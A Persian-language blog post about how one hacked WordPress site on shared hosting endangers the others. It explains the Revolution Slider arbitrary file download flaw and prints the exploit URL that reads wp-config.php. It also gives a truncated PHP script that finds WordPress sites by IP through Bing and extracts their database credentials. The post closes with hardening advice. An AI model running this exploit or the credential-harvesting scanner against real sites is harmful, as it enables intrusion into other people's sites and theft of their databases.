Designer & Developer
هک سایت های وردپرسی در هاست های اشتراکی
چگونه با هک شدن یک سایت وردپرسی روی هاست های اشتراکی بقیه سایت های وردپرسی هم به خطر می افتند؟
با هک شدن یک سایت وردپرسی روی هاست های اشتراکی بقیه سایت ها هم به خطر می افتند اما چگونه ؟
وقتی هکری به یکی از سایت های وردپرسی روی سرور نفوذ می کند می تواند با اسکریپتی ساده به فایل های بقیه سایت های روی سرور که سطح دسترسی یکسانی دارند دست پیدا کند . این آسیب پذیری cross-site contamination
نامیده می شود که ناشی از درست تنظیم نکردن پرمیژن ها توسط شخص یا شرکتی است که سرور را کانفیگ کرده است (System Administrator).
همانطوری که می دانید ساختار تمام سایت های وردپرسی به یک شکل می باشد مثلا در بیشتر آن ها فایل wp-config.php
حاوی اطلاعات دیتابیس می باشد؛ بسیار مهم است که به افراد غریبه(بقیه کاربران سرور) اجازه دسترسی به این فایل را ندهید درصورتی که هکری به این فایل دسترسی پیدا کند می تواند یک یوزر با سطح دسترسی ادمین ایجاد کند و به کل سایت دسترسی داشته باشد.
چگونه به افراد غریبه اجازه دسترسی به فایل های مهم وردپرسی را ندهیم؟
شرکت های هاست دهی و صاحبان وب سایت ها می توانند دو کار مهم برای جلوگیری از این گونه حملات انجام دهند:
- قطع دسترسی تمام کاربران به جز صاحب وب سایت و سرور به فایل
wp-config.php
. که این کار با تنظیم پرمیژن ۴۰۰ ( فقط خواندن ) انجام می شود. Remote Mysql Connection
را می بندند و اجازه اتصال به دیتابیس را فقط به IP سرور محدود می کنند
با استفاده از این دو کار ساده تا وقتی که وب سایت شما آسیب پذیری arbitrary file download
را نداشته باشد باعث جلوگیری از بسیاری از حملات می شود .
آسیب پذیری Arbitrary File Download
این آسیب پذیری به هکر ها این اجازه را می دهد که به وب سایت شما درخواست هایی را بفرستند و فایل ها را از روی سرور شما دانلود یا مشاهده کنند . این آسیب پذیری یکی از آسیب پذیری های شایع در تم ها و پلاگین های وردپرس می باشد مثلا در سال ۲۰۱۴ این آسیب پذیری در یکی از محبوب ترین پلاگین های وردپرس به نام revolution slider کشف شد و باعث هک شدن صد ها هزار سایت وردپرسی شد.
در این آسیب پذیری فرد نفوذگر با ارسال یک درخواست ساده با متد get می توانست فایل wp-config.php را ببینید :
http://target.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
همین درخواست ساده باعث هک شدن هزاران سایت وردپرسی شد ؛ هکر ها با ارسال این درخواست به راحتی محتویات فایل wp-config.php را می خواندند و با اتصال به دیتابیس یک کاربر جدید با سطح دسترسی ادمین می ساختند و …
محدود کردن سطح دسترسی هیچ کمکی نمی کند
در این مورد خاص سطح دسترسی ۴۰۰ هم هیچ کمکی نمی کند زیرا با این سطح دسترسی فایل wp-config.php
می تواند توسط وب سرور خوانده شود (این امر برای کار کردن وردپرس ضروری می باشد)
محدود کردن اتصال به دیتابیس ؟
تا حدودی محدود کردن اتصال به دیتابیس می تواند کمک کند ، دیگر هکر ها نمی توانند از کامپیوتر شخصی شان به دیتابیس سایت شما متصل شوند اما این مورد هم در هاست های اشتراکی قابل دور زدن می باشد کافی است هکر مورد نظر تنها یکی از سایت های روی سرور را هک کند ، حالا با استفاده از اسکریپتی بنام Adminer به دیتابیس متصل می شود و کاربر جدید می سازد و …
اسکن سایت های آسیب پذیر
اسکریپتهای قدرتمندی در این زمینه وجود دارد اما اگر دسترسی روت نداریدمیتوانید از اسکریپت زیر استفاده کنید و چک کنید که آیا سایتهای روی سرور این آسیب پذیری را دارا هستند(اسیب پذیری در پلاگین revslider) یا خیر (این اسکریپت برای پیدا کردن سایتهایروی سرور از موتور جستوجو بینگ استفاده میکند بنابراین بازده آن ۱۰۰% نمیباشد):
set_time_limit(0);
error_reporting(0);
$ip=trim(fgets(STDIN,1024));
$ip = explode('.',$ip);
$ip = $ip[0].'.'.$ip[1].'.'.$ip[2].'.';
for($i=0;$i <= 255;$i++)
{
$sites = array_map("site", bing("ip:$ip.$i wordpress"));
$un=array_unique($sites);
echo "[+] Scanning -> ", $ip.$i, ""."\n"
echo "Found By Pro.AlaaCool : ".count($sites)." sites\n\n"
foreach($un as $pok){
$host=findit($file,"DB_HOST', '","');");
$db=findit($file,"DB_NAME', '","');");
$us=findit($file,"DB_USER', '","');");
$pw=findit($file,"DB_PASSWORD', '","');");
$bda="http://$pok"
$linkof='/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php';
$dn=($bda).($linkof)
...
چگونه سایت خود را از این گونه حملات محفوظ نگه داریم؟
در این پست دیدید که امکان دارد فقط به این دلیل که سایت خود را بر روی یکهاست اشتراکی بنا نهاده ایید به راحتی هک شوید در حالی که شاید هکر حتی با سایت شما آشنا هم نبوده است. در واقع راه صددرصدیی وجود ندارد که سایت شما را در مقابل این گونه حملات محافظت کند. اما با رعایت این نکات میتوانیدسطح امنیتی وب سایت خود را ارتقا بخشید:
- وب سایت خود را به یکهاست اختصاصی یا اختصاصی تر منتقل کنید.
- از شرکت های مطمئنهاست تهیه کنید.
- با اسکنرهای قدرتمند وب سایت خود را اسکن کنید تا از آسیب پذیر نبودن آن مطمئن شوید.
- از فایروالهای امنیتی مناسب برای وب سایت خود استفاده کنید.
مطلبی دیگر از این انتشارات
قالب و افزونه وردپرس؛ ایرانی یا خارجی؟
مطلبی دیگر از این انتشارات
طراحی سایت با وردپرس Wordpress آری یا نه ؟
مطلبی دیگر از این انتشارات
طراحی سایت با وردپرس بهتر است یا زبان های برنامه نویسی؟